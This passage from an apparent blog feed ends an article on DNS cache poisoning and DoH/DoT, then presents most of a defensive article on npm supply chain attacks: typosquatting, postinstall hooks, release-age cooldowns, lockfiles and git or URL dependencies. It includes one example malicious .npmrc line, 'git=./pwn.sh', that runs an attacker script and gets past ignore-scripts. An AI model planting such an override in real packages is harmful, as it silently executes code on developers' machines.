similar to HTTPS, so that others cannot see the contents of the packets.</p><p>The other technology is DNS over HTTPS, abbreviated as DoH, which replaces the DNS query method with HTTPS. For example, when querying DNS, a request is sent using <code>POST /dns-query</code>, which also prevents privacy leakage. For instance, Google’s <a href="https://developers.google.com/speed/public-dns/docs/doh?hl=en">Public DNS</a> provides this functionality.</p><p>Both technologies are applied in the scenario of “sending packets from your computer to the DNS resolver,” protecting your privacy from being leaked and preventing ISPs from seeing which websites you are querying.</p><div class="dns-demo-embed">  <iframe title="DNS over HTTPS comparison demo" src="/demo/learn-network-from-attack-dns/07-doh-comparison.html?lang=en&theme=light" data-src="/demo/learn-network-from-attack-dns/07-doh-comparison.html" data-demo-frame data-height-desktop="360" data-height-tablet="360" data-height-mobile="420" loading="lazy" style="width:100%;height:360px;border:0;border-radius:8px;overflow:hidden;display:block;"></iframe></div><p>If you want to know whether your computer has it enabled, you can use this service: <a href="https://one.one.one.one/help/">https://one.one.one.one/help/</a></p><p>My computer, for example, is set to not have it enabled by default:</p><p><img src="/img/learn-network-from-attack-dns/p3.png" alt="Check DNS"></p><h2><span id="conclusion">Conclusion</span></h2><p>When we want to visit <code>huli.tw</code>, the system will ask the DNS resolver for the IP corresponding to this domain. The resolver will first ask the root name server, which replies, “You should ask <code>.tw</code>,” then it will ask the TLD name server managing <code>.tw</code>, which replies, “You should ask Cloudflare.” As the authoritative name server, Cloudflare ultimately provides the answer <code>104.21.51.169</code>.</p><p>If an attacker answers before Cloudflare does, saying, “I know, the answer is <code>8.8.8.8</code>,” then when we visit <code>huli.tw</code>, we will connect to this fake address, which is a DNS cache poisoning attack.</p><p>To prevent this attack, it is necessary to ensure that attackers cannot forge packets. Therefore, mechanisms such as random transaction IDs, random ports, DNS cookies, and DNSSEC have emerged, all aiming to solve a similar problem: “How to ensure that the results obtained by the DNS resolver are correct.”</p><p>In addition, another problem that plaintext DNS inherently faces is privacy. When the system asks the DNS resolver what the IP of <code>huli.tw</code> is, everyone will know that I want to visit <code>huli.tw</code>.</p><p>To address this privacy issue, mechanisms like DoT and DoH have emerged, which protect the DNS query packets through encryption. Even if intercepted, the contents cannot be seen.</p><p>This is a summary of the key points of this article for your reference.</p><p>Initially, I was just curious about DNS cache poisoning and asked AI about attack methods, which led me to the paper “DNS Cache Poisoning Like it’s 2006.” From this paper, I learned about Dan Kaminsky’s attack method in 2008 and what DNS cookies are.</p><p>Then I kept pushing forward, learning about the DNS query process again (I had learned it before but not in such detail), and also checked what issues might arise, filling in my knowledge in this area. During this learning journey, AI helped a lot; I asked many questions directly to AI and got answers. I would cross-reference with ChatGPT, Gemini, and Codex (GPT 5.5) while also searching for related information on Google to verify the accuracy.</p><p>After going through this, I feel that I finally have a better understanding of the entire DNS system. The most rewarding part is for myself, and I also want to organize what I’ve learned and share it with readers. This article is a bit different because I’m starting to try to use AI to create some interactive web pages, hoping to aid understanding. I’m not sure how effective it will be, so any suggestions can be left in the comments below or shared with me through the form.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;“Reunderstanding the Internet from Attack” is a new series of articles. Instead of starting from scratch to explain how something works, I will directly begin with attack techniques, exploring how these attacks are executed and how to defend against them.&lt;/p&gt;
&lt;p&gt;Reading the article with these questions in mind can help you consciously understand what you are learning and what problems the upcoming content aims to solve. Rather than a straightforward explanation of terms, “reading with questions from the beginning” is the approach I want to try.&lt;/p&gt;
&lt;p&gt;This article will discuss the operational principles of DNS, attack techniques, and corresponding solutions. Without further ado, let’s get started.&lt;/p&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  
  
  <entry>
    <title>A Deep Dive into npm Supply Chain Attacks and Defense</title>
    <link href="https://blog.huli.tw/2026/05/25/en/dive-into-npm-supply-chain-attack/"/>
    <id>https://blog.huli.tw/2026/05/25/en/dive-into-npm-supply-chain-attack/</id>
    <published>2026-05-25T03:17:30.000Z</published>
    <updated>2026-05-26T22:06:13.245Z</updated>
    
    <content type="html"><![CDATA[<p>On May 19, 2026, the charting library antv was attacked, and the latest version was embedded with malicious code.</p><p>On May 13, the popular TanStack series repo in the frontend community was also attacked.</p><p>On April 1, axios, which has a hundred million downloads weekly, was similarly attacked, and a malicious version was released.</p><p>It seems that news about supply chain attacks appears every month or even every week, and the targets are not limited to npm; Python’s PyPI, .NET’s NuGet, and even Docker Hub or VSCode extensions used by developers are all targets.</p><p>In this context, how should developers protect themselves?</p><p>This article mainly discusses supply chain attacks targeting npm, starting with the principles, followed by attack techniques and defense strategies.</p><span id="more"></span><h2><span id="starting-with-installing-a-package">Starting with Installing a Package</span></h2><p>What happens when you run <code>npm install express</code>? (It’s actually more complex, but let’s simplify it).</p><p>First, since no version is specified, npm will look for the latest version of the express package. As of the time I wrote this article, it was version 5.2.1, released 11 days ago.</p><p><img src="/img/dive-into-npm-supply-chain-attack/p1.png" alt="Latest version of express"></p><p>Thus, version 5.2.1 of express is downloaded to your computer.</p><p>Next, express itself has dependencies on other packages, which are defined in its <a href="https://github.com/expressjs/express/blob/v5.2.1/package.json">package.json</a>. There are quite a few:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">&#123;</span>  <span class="token string-property property">"dependencies"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token string-property property">"accepts"</span><span class="token operator">:</span> <span class="token string">"^2.0.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"body-parser"</span><span class="token operator">:</span> <span class="token string">"^2.2.1"</span><span class="token punctuation">,</span>    <span class="token string-property property">"content-disposition"</span><span class="token operator">:</span> <span class="token string">"^1.0.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"content-type"</span><span class="token operator">:</span> <span class="token string">"^1.0.5"</span><span class="token punctuation">,</span>    <span class="token string-property property">"cookie"</span><span class="token operator">:</span> <span class="token string">"^0.7.1"</span><span class="token punctuation">,</span>    <span class="token string-property property">"cookie-signature"</span><span class="token operator">:</span> <span class="token string">"^1.2.1"</span><span class="token punctuation">,</span>    <span class="token string-property property">"debug"</span><span class="token operator">:</span> <span class="token string">"^4.4.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"depd"</span><span class="token operator">:</span> <span class="token string">"^2.0.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"encodeurl"</span><span class="token operator">:</span> <span class="token string">"^2.0.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"escape-html"</span><span class="token operator">:</span> <span class="token string">"^1.0.3"</span><span class="token punctuation">,</span>    <span class="token string-property property">"etag"</span><span class="token operator">:</span> <span class="token string">"^1.8.1"</span><span class="token punctuation">,</span>    <span class="token string-property property">"finalhandler"</span><span class="token operator">:</span> <span class="token string">"^2.1.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"fresh"</span><span class="token operator">:</span> <span class="token string">"^2.0.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"http-errors"</span><span class="token operator">:</span> <span class="token string">"^2.0.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"merge-descriptors"</span><span class="token operator">:</span> <span class="token string">"^2.0.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"mime-types"</span><span class="token operator">:</span> <span class="token string">"^3.0.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"on-finished"</span><span class="token operator">:</span> <span class="token string">"^2.4.1"</span><span class="token punctuation">,</span>    <span class="token string-property property">"once"</span><span class="token operator">:</span> <span class="token string">"^1.4.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"parseurl"</span><span class="token operator">:</span> <span class="token string">"^1.3.3"</span><span class="token punctuation">,</span>    <span class="token string-property property">"proxy-addr"</span><span class="token operator">:</span> <span class="token string">"^2.0.7"</span><span class="token punctuation">,</span>    <span class="token string-property property">"qs"</span><span class="token operator">:</span> <span class="token string">"^6.14.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"range-parser"</span><span class="token operator">:</span> <span class="token string">"^1.2.1"</span><span class="token punctuation">,</span>    <span class="token string-property property">"router"</span><span class="token operator">:</span> <span class="token string">"^2.2.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"send"</span><span class="token operator">:</span> <span class="token string">"^1.1.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"serve-static"</span><span class="token operator">:</span> <span class="token string">"^2.2.0"</span><span class="token punctuation">,</span>    <span class="token string-property property">"statuses"</span><span class="token operator">:</span> <span class="token string">"^2.0.1"</span><span class="token punctuation">,</span>    <span class="token string-property property">"type-is"</span><span class="token operator">:</span> <span class="token string">"^2.0.1"</span><span class="token punctuation">,</span>    <span class="token string-property property">"vary"</span><span class="token operator">:</span> <span class="token string">"^1.1.2"</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The next step is for npm to download each package based on this definition, ensuring that it is the “correct version.”</p><p>Version numbers are usually in the format <code>a.b.c</code>, such as <code>1.1.0</code> or <code>2.3.3</code>, where the first number is the major release, typically indicating a breaking change. This means that upgrading from <code>1.2.0</code> to <code>2.0.0</code> may break some APIs, so directly upgrading the project could cause issues.</p><p>The last version number, like <code>2.3.0</code> to <code>2.3.1</code>, usually indicates a small bug fix, while new features would change the middle number, such as <code>2.3.0</code> to <code>2.4.0</code>.</p><p>For example, <code>&quot;body-parser&quot;: &quot;^2.2.1</code> indicates that the <code>^</code> means “no breaking changes are accepted,” so <code>^2.2.1</code> can accept any version of <code>2.x.x</code>, which is the most commonly used notation.</p><p>Therefore, if you actually test it, you will find that the installed version of <code>body-parser</code> is <code>2.2.2</code>, as that is the latest version that meets the <code>^2.2.1</code> definition.</p><p>Taking another example from above, <code>&quot;content-disposition&quot;: &quot;^1.0.0&quot;</code>, the latest version is <code>2.0.0</code>, but the installed version is <code>1.1.0</code>, because <code>1.1.0</code> is the one that meets the <code>^1.0.0</code> definition.</p><p><img src="/img/dive-into-npm-supply-chain-attack/p2.png" alt="Dependency resolution"></p><p>The packages that express depends on may also have their own dependencies, so this process continues until all dependencies are installed.</p><p>After you run <code>npm install express</code>, you will see how many packages were installed in the terminal:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">added <span class="token number">66</span> packages, and audited <span class="token number">67</span> packages <span class="token keyword">in</span> 2s<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>Let’s pause here. Up to this point, what potential issues could arise during this installation process?</p><p>First, if the latest version of <code>express</code> has issues, we are compromised.</p><p>Second, if any dependency of <code>express</code> has issues, we are also compromised. If any of those 66 packages has a latest version released by a hacker, we will install that as well.</p><p>This is the origin of supply chain attacks, especially since the JavaScript ecosystem is often criticized for providing too few built-in functionalities, leading developers to install a large number of small packages to handle these common functionalities.</p><p>For example, if we want to know the relationship between HTTP status codes and messages, such as how 404 corresponds to <code>Not Found</code>, there is a package on npm with 150 million downloads weekly called <a href="https://www.npmjs.com/package/statuses">statuses</a> that specializes in this, and its core is essentially a JSON file mapping codes to messages.</p><p>For the same requirement, in Go you can directly use <a href="https://pkg.go.dev/net/http#StatusText">http.StatusText</a>, and in Python you can use <a href="https://docs.python.org/3/library/http.html#http.HTTPStatus">HTTPStatus(404).phrase</a>, both of which have official libraries provided. However, in the JavaScript ecosystem, there is no such thing, and you can only rely on community-maintained packages.</p><p>Due to the lack of these official libraries, many functionalities are built up using packages from npm. If any small package is compromised, it can lead to the installation of malicious packages. From an attacker’s perspective, compromising one package can affect thousands, which is quite cost-effective.</p><p>In addition to the two issues mentioned above, there is another problem: “We accidentally install the wrong package.”</p><p>For example, if you mistakenly type an extra ‘s’ in express, it becomes expresss, which will install a different package. Therefore, hackers can register many misspelled packages and embed malicious code in them. If you accidentally make a typo, you could fall victim to this. This type of attack is called typosquatting.</p><p>Just between us, nearly 600 people add an extra ‘s’ each week, but fortunately, this package is empty:</p><p><img src="/img/dive-into-npm-supply-chain-attack/p3.png" alt="expresss downloads"></p><p>Some services prohibit the registration of such similar names, or some kind-hearted security personnel will register them first to prevent others from making mistakes or being registered by malicious actors. For example, the package <a href="https://www.npmjs.com/package/mongose">mongose</a>, which is just one letter off from the well-known package mongoose, was previously attacked, so it was later registered by the npm team and left unused:</p><p><img src="/img/dive-into-npm-supply-chain-attack/p4.png" alt="mongose"></p><h2><span id="what-happens-if-you-install-a-problematic-package-how-to-defend-against-it">What happens if you install a problematic package? How to defend against it?</span></h2><p>Since it’s about installing packages, it should be fine as long as you don’t use them, right? Even if you accidentally install the wrong one by typing an extra letter, you will find that the package doesn’t exist when you write it correctly. As long as you don’t use the package, it should be safe, right?</p><p>In the npm ecosystem, if you install a malicious package, it’s game over.</p><p>The reason is that npm provides various <a href="https://docs.npmjs.com/cli/v11/using-npm/scripts">scripts</a> that can run, such as <code>postinstall</code>. As long as it is specified in the package, the shell script written in <code>postinstall</code> will be executed after you finish installing the package.</p><p>The normal use of postinstall is to automatically download necessary items after the package is installed, like <a href="https://github.com/puppeteer/puppeteer/blob/af1b9be6b6a178f7ea6e197f738ca3cf99d786f7/packages/puppeteer/package.json#L42">puppeteer</a>, which has <code>node install.mjs</code> written in its postinstall, running a script that downloads the browser and sets up the environment.</p><p>The abnormal use is to embed malicious code in postinstall. For example, in the attack on <a href="https://cloud.google.com/blog/topics/threat-intelligence/north-korea-threat-actor-targets-axios-npm-package">axios</a>, a sub-dependency specified postinstall to run <code>node setup.js</code>, and <code>setup.js</code> contained malicious code, leading to an immediate compromise upon installation.</p><p>So how can we defend against this?</p><p>In npm, there is a parameter that can be set: <a href="https://docs.npmjs.com/cli/v11/commands/npm-install#ignore-scripts">ignore-scripts</a>. If set to true, it will disable these pre&#x2F;post hooks and will not execute them. This parameter is false by default, so remember to set it actively.</p><p>Starting from v10, pnpm defaults to blocking the execution of these scripts, and you must actively add packages to the <code>allowBuilds</code> list to run them. Initially, there was a GitHub discussion and vote: <a href="https://github.com/orgs/pnpm/discussions/8918">Should we block lifecycle script of dependencies during installation? #8918</a>, where 70% of people chose to block it by default.</p><p>Bun’s strategy is to have a built-in trust list, where only packages on this list can execute scripts by default. Currently, there are over 300 packages on it: <a href="https://github.com/oven-sh/bun/blob/main/src/install/default-trusted-dependencies.txt">src&#x2F;install&#x2F;default-trusted-dependencies.txt</a></p><p>Although bun strikes a balance between developer experience and security, I still prefer pnpm’s approach, which directly blocks everything and requires explicit approval from the developer before execution.</p><p>That said, the feature of “executing scripts after installing packages” is not unique to npm; RubyGems next door has a similar feature. This mechanism also has the same problem: installing a malicious package can lead to a game over. Therefore, in April, they added two options to disable this behavior: <a href="https://github.com/ruby/rubygems/pull/9473">Add –no-build-extension and –no-install-plugin options to gem install #9473</a>.</p><p>However, to avoid breaking existing projects, this feature is disabled by default, just like npm, requiring developers to enable it actively.</p><p>For npm, we can add a user-level npm config in <code>~/.npmrc</code>, so we don’t have to specify it in every folder:</p><pre class="line-numbers language-ini" data-language="ini"><code class="language-ini"><span class="token comment"># Do not execute postinstall scripts</span><span class="token key attr-name">ignore-scripts</span><span class="token punctuation">=</span><span class="token value attr-value">true</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><h2><span id="how-to-avoid-installing-problematic-packages">How to Avoid Installing Problematic Packages</span></h2><p>If a malicious package is installed, it can execute code through those scripts; even if we disable this feature, if our product uses these packages, the product itself can be compromised, and your website might be injected with malicious code.</p><p>“Disabling scripts” is considered a second layer of defense, while the first layer, which everyone wants to achieve, is actually: “Do not install malicious packages.” As long as we don’t install them, we’re safe.</p><p>So how can we achieve this? There are three methods.</p><h3><span id="first-method-delay-downloads">First Method: Delay Downloads</span></h3><p>Since hackers target the supply chain for attacks, there will naturally be corresponding cybersecurity companies monitoring this area for defense.</p><p>For example, TanStack, mentioned at the beginning, was discovered by StepSecurity within 20 minutes after being attacked, while axios was discovered about an hour later and removed by npm three hours after the malicious version was released.</p><p>Thanks to the efforts of these cybersecurity companies and automated detection, such attacks can usually be detected within a few hours, and npm will remove them as quickly as possible to prevent more people from downloading malicious packages.</p><p>This means that if we specify “I only download packages released 24 hours ago” during installation, we can significantly reduce the likelihood of downloading malicious packages (of course, this doesn’t solve the problem 100%, as it can still be downloaded if no one discovers it).</p><p>In pnpm, there is a <a href="https://pnpm.io/settings#minimumreleaseage">minimumReleaseAge</a> setting, which defaults to 1440 minutes (one day) starting from v11. So when codex asks you if you want to update and you say yes, if it asks you again whether to update after installation, it’s because the version hasn’t been released for a day, so it wasn’t installed (a real case; I’ve encountered this once or twice before realizing this).</p><p>In npm, there is also a <a href="https://docs.npmjs.com/cli/v11/commands/npm-install#ignore-scripts">min-release-age</a> setting, measured in days, with the same effect, and it defaults to empty.</p><p>Bun also has a <a href="https://bun.com/docs/runtime/bunfig#install-minimumreleaseage">minimumReleaseAge</a> setting, measured in seconds (bun is in seconds, pnpm is in minutes, npm is in days; did you all agree to be intentionally different?), and it also defaults to empty.</p><p>So if you are using pnpm version 11 or above, it will not download packages released within a day by default, reducing the likelihood of installing malicious packages.</p><p>If you are using npm, I also recommend setting this value; I personally set it to 3 days for extra safety:</p><pre class="line-numbers language-ini" data-language="ini"><code class="language-ini"><span class="token key attr-name">ignore-scripts</span><span class="token punctuation">=</span><span class="token value attr-value">true</span><span class="token key attr-name">min-release-age</span><span class="token punctuation">=</span><span class="token value attr-value">3</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>However, setting this parameter will encounter another issue: if there is a vulnerability, you won’t be able to install the fix immediately and will have to wait a few days or manually override this config during installation, for example, <code>npm install -g @openai/codex --min-release-age=0</code>.</p><p>I believe you can assess the severity of the vulnerability and whether it can be exploited. If the likelihood of exploitation is low, waiting a few days is better. After all, the risk of non-exploitable vulnerabilities is manageable, while the risk of installing malicious code is comparatively higher.</p><p>For example, many packages may occasionally have some high vulnerabilities, but if you look closely, you’ll find that they are specific situations or certain features that have issues, and the packages you use or your product itself may not necessarily utilize those features, so you can wait a few days to fix them.</p><p>However, cases like React2Shell are different; prompt fixes are the best strategy.</p><h3><span id="second-method-lock-versions">Second Method: Lock Versions</span></h3><p>Basically, the same version cannot be overwritten. For example, if <code>2.0.0</code> is safe, then it is safe; hackers can only release a malicious version by incrementing the version number to <code>2.0.1</code>. Therefore, as long as a safe version has been downloaded, the next download will also be safe (unless the registry itself is hacked).</p><p>After we run <code>npm install express</code>, in addition to downloading the package, another file called <code>package-lock.json</code> will be generated, which is used for locking versions in JSON format.</p><p>For example, the dependency of <code>express</code> is <code>body-parser</code>, which specifies <code>^2.2.1</code>, and the currently latest compatible version of <code>body-parser</code> is <code>2.2.2</code>. After installation, the lockfile will fix it to <code>2.2.2</code>:</p><pre class="line-numbers language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span>  <span class="token property">"node_modules/body-parser"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token property">"version"</span><span class="token operator">:</span> <span class="token string">"2.2.2"</span><span class="token punctuation">,</span>    <span class="token property">"resolved"</span><span class="token operator">:</span> <span class="token string">"https://registry.npmjs.org/body-parser/-/body-parser-2.2.2.tgz"</span><span class="token punctuation">,</span>    <span class="token property">"integrity"</span><span class="token operator">:</span> <span class="token string">"sha512-oP5VkATKlNwcgvxi0vM0p/D3n2C3EReYVX+DNYs5TjZFn/oQt2j+4sVJtSMr18pdRr8wjTcBl6LoV+FUwzPmNA=="</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>When I delete all the <code>node_modules</code> and run <code>npm install</code>, it will definitely download version <code>2.2.2</code>, and after downloading, it will verify the integrity to prove that the file has not been tampered with. If it has been tampered with, the hash will be different, resulting in an error.</p><p>If there is no <code>package-lock.json</code>, then when I run <code>npm install</code>, it will re-resolve the dependencies. If the latest version at that time is <code>2.2.3</code>, it will install <code>2.2.3</code>.</p><p>Therefore, once you generate the lockfile, if there are no issues with this batch of packages, as long as there are no upgrades or new packages added, “basically” it can guarantee that every download is safe, because the versions and hashes of the safe packages are recorded.</p><p>So please make sure to include the lockfile in version control; this is very important.</p><h3><span id="tip-3-scan-before-downloading">Tip 3: Scan Before Downloading</span></h3><p>Since computers have antivirus software, naturally, there are also cybersecurity companies that provide protection for npm.</p><p>Currently, the most well-known is Socket’s <a href="https://docs.socket.dev/docs/socket-firewall-overview">Socket Firewall</a>, abbreviated as sfw, which has both a free version and a paid enterprise version.</p><p>I mentioned earlier that these cybersecurity companies can quickly detect which packages have issues, even faster than the npm official team. For example, it was previously mentioned that a malicious version was detected within 1 hour of its release, but it was taken down 3 hours later, leaving a 2-hour window in between.</p><p>When you use sfw to download packages, it will first check Socket’s internal database to see if there are any issues with the package. If there are, it will be blocked directly. So before the npm official team takes it down, you won’t download the malicious package.</p><p>For those packages that have not yet been confirmed as safe, they will also be scanned on the server, and only after confirming that there are no issues will they be downloaded (the free version will only provide a warning, while the paid version can be set to block directly).</p><p>In fact, Socket’s sfw can be used not only for npm but also for Python’s pip and uv, or Rust’s cargo; other features are only available in the paid version.</p><p>Having said that, it seems we have done everything we should do. We have already activated the cooldown, only downloading packages released more than 3 days ago, and ignoring those scripts. Even if we do install them, they won’t execute malicious code immediately, so it should be very safe, right?</p><p>If you think this way, you are becoming complacent; the devil is always in the details.</p><h2><span id="the-devil-in-the-details-packages-outside-of-the-registry">The Devil in the Details: Packages Outside of the Registry</span></h2><p>npm is a registry, and you can set up your own registry through other means, such as <a href="https://www.verdaccio.org/">Verdaccio</a>, which is a registry that you can set up yourself to host private packages.</p><p>Or there’s <a href="https://jsr.io/">jsr</a>, another open-source registry that can be used by adding <code>@jsr:registry=https://npm.jsr.io</code> to your <code>.npmrc</code>.</p><p>But since these are all registries supported by npm, it means they must adhere to the same set of protocols.</p><p>For example, when you install the package <a href="https://www.npmjs.com/package/zod">zod</a> from npm, npm will first fetch <code>https://registry.npmjs.com/zod</code>, and the response will be a JSON describing it, including the latest stable version and information about each version, etc. The <code>time</code> field records the release time of each version, and the min release age is determined based on this time:</p><p><img src="/img/dive-into-npm-supply-chain-attack/p5.png" alt="registry json"></p><p>The details of each version are in the versions section. Taking the latest version <code>4.4.3</code> as an example, the <code>integrity</code> field is used to verify whether the package has been altered, and the tarball <code>https://registry.npmjs.org/zod/-/zod-4.4.3.tgz</code> is the package that will ultimately be downloaded:</p><p><img src="/img/dive-into-npm-supply-chain-attack/p6.png" alt="registry tar"></p><p>If you use the method mentioned above to have npm resolve packages by going to the jsr URL, when you install <code>@zod/zod</code>, the resolved JSON URL will be <code>https://npm.jsr.io/@jsr/zod__zod</code>:</p><p><img src="/img/dive-into-npm-supply-chain-attack/p7.png" alt="jsr registry"></p><p>Although it lacks quite a few things, it still has time and versions, and <code>4.4.3</code> still contains integrity and tarball:</p><p><img src="/img/dive-into-npm-supply-chain-attack/p8.png" alt="jsr tar url"></p><p>The methods mentioned above still allow you to install packages from the registry; it’s just that the registry’s URL is different. It’s somewhat like being able to host a project on GitHub, GitLab, or Bitbucket, but fundamentally they are all git, the format is the same, it’s just that you need to change the URL.</p><p>However, besides installing packages from the registry, there are actually two other ways:</p><ol><li>Direct download via URL</li><li>git</li></ol><p>For the first method, taking the n8n component <a href="https://www.npmjs.com/package/@n8n/instance-ai?activeTab=code">@n8n&#x2F;instance-ai</a> as an example, most of its dependencies are quite normal, such as <code>&quot;csv-parse&quot;: &quot;6.2.1&quot;</code> or <code>&quot;nanoid&quot;: &quot;3.3.8&quot;</code>, with the name followed by the version number, but if you look closely, you’ll find one exception:</p><pre class="line-numbers language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span>  <span class="token property">"xlsx"</span><span class="token operator">:</span> <span class="token string">"https://cdn.sheetjs.com/xlsx-0.20.2/xlsx-0.20.2.tgz"</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>When installing the <code>xlsx</code> package, it directly specifies the URL instead of a version. This means that this package will be downloaded directly from this URL, rather than from the npm registry.</p><p>Why is this the case?</p><p>It seems to be because the SheetJS team had some <a href="https://www.bleepingcomputer.com/news/software/npm-package-with-14m-weekly-downloads-ditches-npmjscom-for-own-cdn/">disputes</a> with npm, so they moved, resulting in the current version of xlsx on npm being an old version from a few years ago, while the latest version is on their own <a href="https://git.sheetjs.com/sheetjs/sheetjs">gitea</a>, and the <a href="https://docs.sheetjs.com/docs/getting-started/installation/nodejs">official documentation</a> also recommends installing directly from the URL:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">npm</span> i <span class="token parameter variable">--save</span> https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>What are the downsides of this? The downside is that besides npm, you now have another place to worry about. If this URL gets hacked and the content is replaced with a malicious version, you will download it directly. Moreover, the min release age does not apply because it is not from the registry, so there is no way to know when it was released.</p><p>Therefore, it’s best to avoid using third-party tarball URLs whenever possible.</p><p>The other method, using a git URL, might be used by some internal company projects. When a company does not have an internal private registry, it may use a git URL to download packages.</p><p>For example, this package <a href="https://www.npmjs.com/package/system-font-families">system-font-families</a> used to fetch the system font list has the following dependencies:</p><pre class="line-numbers language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span>  <span class="token property">"dependencies"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token property">"babel-polyfill"</span><span class="token operator">:</span> <span class="token string">"^6.23.0"</span><span class="token punctuation">,</span>    <span class="token property">"file-type"</span><span class="token operator">:</span> <span class="token string">"^10.11.0"</span><span class="token punctuation">,</span>    <span class="token property">"read-chunk"</span><span class="token operator">:</span> <span class="token string">"^3.2.0"</span><span class="token punctuation">,</span>    <span class="token property">"ttfinfo"</span><span class="token operator">:</span> <span class="token string">"https://github.com/rBurgett/ttfinfo.git"</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>This <code>ttfinfo</code> directly specifies a git URL. When we install this package using <code>npm install system-font-families</code>, we will see in the lockfile:</p><pre class="line-numbers language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span>  <span class="token property">"node_modules/ttfinfo"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token property">"version"</span><span class="token operator">:</span> <span class="token string">"0.2.0"</span><span class="token punctuation">,</span>    <span class="token property">"resolved"</span><span class="token operator">:</span> <span class="token string">"git+ssh://git@github.com/rBurgett/ttfinfo.git#f00e43e2a6d4c8a12a677df20b7804492d50863c"</span><span class="token punctuation">,</span>    <span class="token property">"license"</span><span class="token operator">:</span> <span class="token string">"MIT"</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The final resolved location of <code>ttfinfo</code> is a git URL, and it pins the latest commit <code>f00e43e2a6d4c8a12a677df20b7804492d50863c</code>. When others install using the same lockfile, they will install the same version.</p><p>But the problem is that the original <code>system-font-families</code> does not actually specify a version, so if there is no lockfile, you will always install the latest <code>ttfinfo</code>, and the min release age also does not apply.</p><p>More importantly, the cybersecurity company <a href="https://www.koi.ai/blog/packagegate-6-zero-days-in-js-package-managers-but-npm-wont-act">koi</a> reported a vulnerability to npm last November, where when installing git dependencies, npm would clone the git repo and then run <code>npm install</code> again in the repo.</p><p>In the <code>.npmrc</code>, there is a setting called <a href="https://docs.npmjs.com/cli/v11/using-npm/config#git">git</a>, where you can specify which command to use for running git commands. Therefore, a malicious git package can simply add a <code>.npmrc</code> with the following content:</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token assign-left variable">git</span><span class="token operator">=</span>./pwn.sh<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>Then, by adding a git sub-dependency, when you install this package, the system will execute <code>pwn.sh</code>, bypassing the original <code>ignore-scripts</code> restriction. You might think that <code>ignore-scripts</code> can prevent any script from running, but that’s not the case.</p><p>At that time, npm stated that this was an intentional design and not considered a vulnerability, but later they did make some changes (which will be mentioned later).</p><h2><span id="blocking-git-and-direct-urls">Blocking git and direct URLs</span></h2><p>Even though we have blocked scripts and added cooldowns, if a package is downloaded from git or a direct URL, we encounter other issues. Therefore, the best approach is to simply block packages from these sources, allowing downloads only from the registry, thus limiting the attack surface.</p><p>Starting from v11, pnpm has set the <a href="https://pnpm.io/settings#blockexoticsubdeps">blockExoticSubdeps</a> parameter to true by default. The <code>Exotic</code> refers to git and direct URLs, while <code>Subdeps</code> refers to “sub-dependencies.”</p><p>In other words, if the package you are installing is itself <code>Exotic</code>, pnpm will not block it. For example, if you directly install xlsx, it will install successfully. However, if you install a package A that requires xlsx, it will fail to install.</p><p>After all, the first-level dependencies are installed by the user themselves, so they should know what they are doing and the risks involved, but many people are unaware of what these sub-dependencies entail, so they are blocked by default.</p><p>Let me demonstrate this for you. If you execute <code>pnpm i n8n</code>, you will see the following error:</p><p><img src="/img/dive-into-npm-supply-chain-attack/p9.png" alt="Error when installing n8n"></p><p>It clearly states that the sub-dependency of n8n, <code>@n8n/instance-ai@1.6.2</code>, also depends on xlsx, but it was blocked due to <code>blockExoticSubdeps</code>.</p><p>Additionally, npm introduced two new parameters, <a 